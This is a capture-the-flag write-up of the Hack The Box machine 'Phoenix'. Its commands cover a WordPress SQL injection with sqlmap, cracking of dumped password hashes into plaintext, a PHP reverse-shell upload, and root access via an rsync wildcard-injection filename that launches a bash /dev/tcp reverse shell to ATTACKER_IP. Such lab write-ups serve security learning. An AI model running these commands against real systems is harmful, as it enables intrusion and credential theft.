Phoenix

Lorenzo Salvadore

August 27, 2022

1 Introduction.

Phoenix is a machine rated hard.

We add the domain *phoenix.htb* to our */etc/hosts* file with the IP provided by Hack The Box.

I would like to thank ***ippsec*** for the walkthrough he published on his youtube channel, that I invite you to check out. This writeup is inspired by his solution, but reworked with my own style.

2 Initial enumeration.

We begin by scanning *phoenix.htb* for open TCP ports, see listing 1.

We remark that **Apache httpd** is running on the machine and that connection on port 80 is immediately redirected to port 443, where an *https* website is available. We also note that we have a *robots.txt* file: we download the file to inspect it fully, see listing 2.

As it could already be deduced from listing 1, the website uses wordpress. We also find the file *wp-sitemap.xml* (listing 3), which reveals the existence of the file *wp-sitemap-users-1.xml* (listing 4), where we find two potential usernames: *phoenix* and *jsmith*.

Trying to enumerate directories or virtual hosts would not be very efficient, as there is a brute force blocking mechanism in place. Listing 5 shows the webpage warning us about our IP being blocked when we attempt such a strategy.

We can however run a passive plugins scan with *wpscan* (listing 6). In particular, we find the *asgaros-forum* plugin, see listing 7.

The version is 1.15.12 and is vulnerable to **CVE-2021-24827**: at `https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1` we can find a proof of concept to modify and test. Listing 8 shows how we modified the proposed proof: we changed the domain, run *curl* twice with different sleeping interval to ensure that we do not wait for our response the expected amount of time for a simple coincidence, and measure times using *time*. Running our own proof of concept, we confirm that the plugin version is vulnerable.

We can then go forward with our enumeration using *sqlmap*. We want first to enumerate databases, so we start by running the command in listing 9: we find ***information_schema*** and ***wordpress*** (listing 10).

As wordpress databases have a standard structure, we can keep enumerating by searching for specific things, without the risk of getting our IP blocked or taking too much time. We now look for credentials in the **wp_users** table, see listings 11 and 12.

We can easily check the hash type using *haiti*, which reports a *wordpress* hash type: no surprise, the machine is using *wordpress* indeed. See listings 13 and 14.

```
# Nmap 7.92 scan initiated Sat Jun 25 06:10:05 2022 as: nmap -sV -sC -p - -oN tcp_all.nmap phoenix.htb
Nmap scan report for phoenix.htb (10.10.11.149)
Host is up (0.066s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 9d:f3:87:cd:34:75:83:e0:3f:50:d8:39:c6:a5:32:9f (RSA)
|   256 ab:61:ce:eb:ed:e2:86:76:e9:e1:52:fa:a5:c7:7b:20 (ECDSA)
|_  256 26:2e:38:ca:df:72:d4:54:fc:75:a4:91:65:cc:e8:b0 (ED25519)
80/tcp  open  http     Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to https://phoenix.htb/
443/tcp open  ssl/http Apache httpd
| ssl-cert: Subject: commonName=phoenix.htb/organizationName=Phoenix Security Ltd./stateOrProvinceName=Arizona/countryName=US
| Not valid before: 2022-02-15T20:08:43
|_Not valid after:  2032-02-13T20:08:43
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1
|_http-server-header: Apache
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-generator: WordPress 5.9
|_http-title: Phoenix Security &#8211; Securing the future.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 25 06:12:28 2022 -- 1 IP address (1 host up) scanned in 143.18 seconds
```

Listing 1: *Phoenix*: Output of *nmap* for *phoenix.htb*.

```
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

Sitemap: https://phoenix.htb/wp-sitemap.xml
```

Listing 2: *Phoenix*: `https://phoneix.htb/robots.txt`

```xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://phoenix.htb/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <sitemap>
    <loc>https://phoenix.htb/wp-sitemap-posts-post-1.xml</loc>
  </sitemap>
  <sitemap>
    <loc>https://phoenix.htb/wp-sitemap-posts-page-1.xml</loc>
  </sitemap>
  <sitemap>
    <loc>https://phoenix.htb/wp-sitemap-taxonomies-category-1.xml</loc>
  </sitemap>
  <sitemap>
    <loc>https://phoenix.htb/wp-sitemap-users-1.xml</loc>
  </sitemap>
</sitemapindex>
```

Listing 3: *Phoenix*: `https://phoneix.htb/wp-sitemap.xml`

```xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://phoenix.htb/wp-sitemap.xsl" ?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <url>
    <loc>https://phoenix.htb/author/jsmith/</loc>
  </url>
  <url>
    <loc>https://phoenix.htb/author/phoenix/</loc>
  </url>
</urlset>
```

Listing 4: *Phoenix*: `https://phoneix.htb/wp-sitemap-users-1.xml`.

```html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
        "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 403</p>
        <p>Message: Forbidden.</p>
        <p>Error code explanation: 403 - This IP has been blocked for excessive brute forcing. Block will be lifted in 60 seconds.</p>
    </body>
</html>
```

Listing 5: *Phoenix*: IP blocked by *phoenix.html*.

```
wpscan --url https://phoenix.htb -e ap --disable-tls-checks -o wpscan.log
```

Listing 6: *Phoenix*: *wpscan* passive plugins scan command on *phoenix.htb*.

```
[+] asgaros-forum
 | Location: https://phoenix.htb/wp-content/plugins/asgaros-forum/
 | Last Updated: 2022-01-30T12:54:00.000Z
 | [!] The version is out of date, the latest version is 2.0.0
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | Version: 1.15.12 (10% confidence)
 | Found By: Query Parameter (Passive Detection)
 |  - https://phoenix.htb/wp-content/plugins/asgaros-forum/skin/widgets.css?ver=1.15.12
```

Listing 7: *Phoenix*: *asgaros-forum* detection by *wpscan*.

```
time curl -sk \
  "https://phoenix.htb/forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(5)" \
  > /dev/null
time curl -sk \
  "https://phoenix.htb/forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(10)" \
  > /dev/null
```

Listing 8: *Phoenix*: Proof of concept for **CVE-2021-24827**.

```
sqlmap  -u "https://phoenix.htb/forum/?subscribe_topic=1" \
        -p "subscribe_topic" --dbs --batch
```

Listing 9: *Phoenix*: Enumerate databases in *phoenix.htb*.

```
sqlmap identified the following injection point(s) with a total of 79 HTTP(s) requests:
---
Parameter: subscribe_topic (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: subscribe_topic=1 AND (SELECT 8926 FROM (SELECT(SLEEP(5)))vMRJ)
---
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12
available databases [2]:
[*] information_schema
[*] wordpress
```

Listing 10: *Phoenix*: Databases found by running listing 9.

```
sqlmap  -u "https://phoenix.htb/forum/?subscribe_topic=1" \
        -p "subscribe_topic" -D wordpress -T wp_users -C user_login,user_pass \
        --batch --dump
```

Listing 11: *Phoenix*: Enumerate worpress users and passwords in *phoenix.htb*.

```
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: subscribe_topic (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: subscribe_topic=1 AND (SELECT 8926 FROM (SELECT(SLEEP(5)))vMRJ)
---
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12
Database: wordpress
Table: wp_users
[5 entries]
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| john       | $P$B8eBH6QfVODeb/gYCSJRvm9MyRv7xz. |
| Phoenix    | $P$BA5zlCOIhOiJKMTK.nWBgUB4Lxh/gc. |
| Jane       | $P$BJCq26vxPmaQtAthFcnyNv1322qxD91 |
| Jsmith     | $P$BV5kUPHrZfVDDWSkvbt/Fw3Oeozb.G. |
| Jack       | $P$BzalVhBkVN.6ii8y/nbv3CTLbCOE9e. |
+------------+------------------------------------+
```

Listing 12: *Phoenix*: Users and passwords found by running listing 11.

```
haiti --no-color `echo '$P$BV5kUPHrZfVDDWSkvbt/Fw3Oeozb.G.'`
```

Listing 13: *Phoenix*: Identify hash type found in listing 11.

```
Wordpress $\geq$ v2.6.2 [HC: 400] [JtR: phpass]
Joomla $\geq$ v2.5.18 [HC: 400] [JtR: phpass]
PHPass' Portable Hash [HC: 400] [JtR: phpass]
```

Listing 14: *Phoenix*: Output of listing 13.

We attempt to crack those hashes and we successfully find some passwords. See listings 15 and 16.

Before closing our initial enumeration, there is a last thing we are going to check. Because of the brute force protection we encountered, we could only run a passive plugins scan with *wpscan*, but now thanks to **CVE-2021-24827** we can read the list of active plugins through *sqlmap*, see listing 17. The scan needs a fair amount of time, but is rewarding as it is able to find some plugins that we could not find earlier, see listing 18: in particular we find the plugin *download-from-files*, from which we will get our foothold.

3 Foothold.

By searching on the web, we easily find an exploit for the *download-from-files* plugin at `https://www.exploit-db.com/exploits/50287`. As we do not have any information about the plugin version that is installed on the machine, we cannot be sure that it will work, but the fact that the exploit is not much older than the machine suggests that we have good chances to be successful.

We prepare a php reverse shell in a file with phtml extension and try to upload it with the exploit, having care to disable ssl certicate validation[1]: the upload is successful. Then accessing the url of the uploaded file after having started *nc* to listen on the right port gives us a reverse shell as *wp_user*.

4 Privilege escalation to user.

Using our reverse shell, we can finally inspect the system. First, we look at */etc/passwd*, where we find two user accounts and the *root* account (see listing 19).

In particular, we discover that John Smith has an account on the machine named *editor*, and not *jsmith* or *john* as we might have expected from our past enumeration. If we try to access the machine as the editor user using John Smith's password from listing 16, we note that our password is correct, but we are also asked a verification code, which we do not have.

[1]For example, we can do it by addinf a `verify=False` parameter to the `requests.get` and and `requests.post` functions.

```
hashcat -m 400 -O --username hashes /usr/share/wordlists/rockyou.txt
```

Listing 15: *Phoenix*: Command to crack hashes from listing 12.

```
john:$P$B8eBH6QfVODeb/gYCSJRvm9MyRv7xz.:password@1234
Phoenix:$P$BA5zlC0IhOiJKMTK.nWBgUB4Lxh/gc.:phoenixthefirebird14
Jsmith:$P$BV5kUPHrZfVDDWSkvbt/Fw3Oeozb.G.:superphoenix
```

Listing 16: *Phoenix*: Password found through the command from listing 15.

```
sqlmap  -u "https://phoenix.htb/forum/?subscribe_topic=1" \
        -p "subscribe_topic" -D wordpress -T wp_options -C option_value \
        --batch --dump --where="option_name='active_plugins'"
```

Listing 17: *Phoenix*: Enumerate wordpress active plugins in *phoenix.htb*.

```
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: subscribe_topic (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: subscribe_topic=1 AND (SELECT 8926 FROM (SELECT(SLEEP(5)))vMRJ)
---
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12
Database: wordpress
Table: wp_options
[1 entry]
+---------------------------------------------------------------------------------+
| option_value                                                                    |
+---------------------------------------------------------------------------------+
| a:9:{i:0;s:45:                                                                  |
| "accordion-slider-gallery/accordion-slider.php";i:1;s:25:                       |
| "adminimize/adminimize.php";i:2;s:31:                                           |
| "asgaros-forum/asgaros-forum.php";i:3;s:43:                                     |
| "download-from-files/download-from-files.php";i:4;s:67:                         |
| "miniorange-2-factor-authentication/miniorange_2_factor_settings.php";i:5;s:47: |
| "photo-gallery-builder/photo-gallery-builder.php";i:6;s:29:                     |
| "pie-register/pie-register.php";i:7;s:45:                                       |
| "simple-local-avatars/simple-local-avatars.php";i:8;s:38:                       |
| "timeline-event-history/timeline-wp.php";}                                      |
+---------------------------------------------------------------------------------+
```

Listing 18: *Phoenix*: Active plugins found by running the command in listing 17. Output has been edited to fit the page.

```
root:x:0:0:root:/root:/bin/bash
phoenix:x:1000:1000:Phoenix:/home/phoenix:/bin/bash
editor:x:1002:1002:John Smith,1,1,1,1:/home/editor:/bin/bash
```

Listing 19: *Phoenix*: Users and *root* lines in */etc/passwd* from *phoenix.htb*.

```
+ : ALL : 10.11.12.13/24
- : ALL : ALL
```

Listing 20: *Phoenix*: Content of */etc/security/access-local.conf* from phoenix.htb.

```
eth0: flags=195<UP,BROADCAST,RUNNING,NOARP>  mtu 1500
        inet 10.11.12.13  netmask 255.255.255.0  broadcast 0.0.0.0
        inet6 fe80::1cf3:92ff:fe18:5ba9  prefixlen 64  scopeid 0x20<link>
        ether 1e:f3:92:18:5b:a9  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2789  bytes 206274 (206.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

Listing 21: *Phoenix*: Output associated with *eth0* given by *ifconfig* on phoenix.htb.

Back to our reverse shell, we search for more information about this verification code. Inspecting the file */etc/pam.d/sshd* we note the line "auth [success=1 default=ignore] pam_access.so accessfile=/etc/security/access-local.conf" which indicates that it is possible to login with ssh into the machine, without two factor authentication, according to the rules reported in file */etc/security/access-local.conf* (instead of the default */etc/security/access.conf*) (listing 20).

We can then use *ssh* to login into the machine with password only if we connect within the 10.11.12.13/24 network[2]. Checking with ifconfig we see that we have indeed an interface associated with an IP in the right network: *eth0*, see 21. Thus we can connect successfully running the command in listing 22 within our reverse shell.

5 Privilege escalation to root.

By classical enumeration we find the file */usr/local/bin/cron.sh.x*. If we try to run it the process will hang for a while. We put it in the background and look at the process tree with `ps axjf`, see listing 23. We see that a child process of *cron.sh.x* is running *rsync*. Looking at the command line that spawned it through */proc*, we get a full script which is likely run by *cron.sh.x*, see listings 24 and 25.

We notice that the script runs *rsync*. *rsync* supports an `-e` option that allows us to run arbitrary commands. Thanks to the use of wildcards, we can inject whatever we want in the command as long as it contains a period: we need to create a file in */backups* with our injection payload as filename, see listing 26. As we can see, our payload references a script called *root-reverse-shell.sh*, shown in listing 27, that we also create in */backups*: this trick allows us to simplify our payload and avoid the bad character "/", which whould confuse our *touch* command.

[2]This is a very unusual notation for a network: usually, if a network written in CIDR notation ends in "/24", then the last network IP octet is set to 0.

```
ssh editor@10.11.12.13
```

Listing 22: *Phoenix*: Escalate privilege to user in phoenix.htb.

```
 PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
32199 32200 32200 32200 pts/5    32525 Ss    1002   0:00 -bash
32200 32485 32485 32200 pts/5    32525 S     1002   0:00  \_ cron.sh.x -c
32485 32492 32485 32200 pts/5    32525 S     1002   0:00  |   \_ rsync --ignore-existing -t phoenix.htb.202
32492 32493 32485 32200 pts/5    32525 S     1002   0:00  |       \_ ssh -l jit 10.11.12.14 rsync --server
```

Listing 23: *Phoenix*: Process tree for *cron.sh.x*.

```
cat /proc/32485/cmdline
```

Listing 24: *Phoenix*: Command to check how the *rsync* process was started.

```
#!/bin/sh
NOW=$(date +"%Y-%m-%d-%H-%M")
FILE="phoenix.htb.$NOW.tar"

cd /backups
mysqldump -u root wordpress > dbbackup.sql
tar -cf $FILE dbbackup.sql && rm dbbackup.sql
gzip -9 $FILE
find . -type f -mmin +30 -delete
rsync --ignore-existing -t *.* jit@10.11.12.14:/backups/
```

Listing 25: *Phoenix*: Script associated with *cron.sh.x*.

```
touch -- "-e sh -c 'sh root-reverse-shell.sh'"
```

Listing 26: *Phoenix*: Payload creation to escalate privileges to root.

```
#!/bin/sh

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"
```

Listing 27: *Phoenix*: Content of *root-reverse-shell.sh*.

We only need to run a listener on the right port on our attacking machine and wait: as soon as the script in listing 25 is run we will get our root reverse shell. We must be careful however to not take too much time to prepare our exploit, as our files are periodically removed from the directory.